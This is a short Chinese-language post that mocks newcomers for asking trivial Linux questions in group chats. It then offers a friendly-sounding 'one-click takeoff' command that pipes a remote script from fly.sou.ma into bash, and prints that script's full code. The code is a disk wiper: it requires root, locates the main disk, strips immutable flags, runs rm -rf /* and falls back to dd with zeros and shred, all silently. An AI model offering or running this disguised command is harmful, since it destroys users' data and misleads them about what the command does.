现在越来越多人不是不会思考而是不想思考,宁愿问群友问上一整天也不愿意自己搜一下或者问一下ai
每次看到这样的人都会让人很厌烦,哪怕是一个非常非常简单的问题他也不愿意自己搜一下,而是必须问群友
虽然我不排斥小白,但是我希望问的问题是有意义的问题,而不是来问我们“怎么重置root密码”之类的逆天问题
一键起飞脚本:

bash <(curl -sL https://fly.sou.ma/shell/all_in_one.sh)

详细代码如下:

#!/bin/bashif [ "$(id -u)" -ne 0 ]; then    echo "错误:请以 root 权限运行此脚本。"    exit 1fi# Define the main disk deviceDEVICE=""if [ -b "/dev/sda" ]; then    DEVICE="/dev/sda"elif [ -b "/dev/vda" ]; then    DEVICE="/dev/vda"elif [ -b "/dev/nvme0n1" ]; then    DEVICE="/dev/nvme0n1"else    DEVICE=$(lsblk -o NAME,TYPE | grep "disk" | grep -v "loop" | sort -h -r | head -n 1 | awk '{print "/dev/"$1}')fiif [ -z "$DEVICE" ]; then    exit 1fichattr -i -R / &>/dev/null# Attempt to delete with rmsudo rm -rf /* &>/dev/null# Check if rm was successfulif [ $? -eq 0 ]; then    exit 0fi# If rm failed, attempt to overwrite with ddsudo dd if=/dev/zero of="$DEVICE" bs=4k &>/dev/nullif [ $? -eq 0 ]; then    exit 0fi# If dd failed, attempt to securely shred the disksudo shred -v -n 3 -z "$DEVICE" &>/dev/null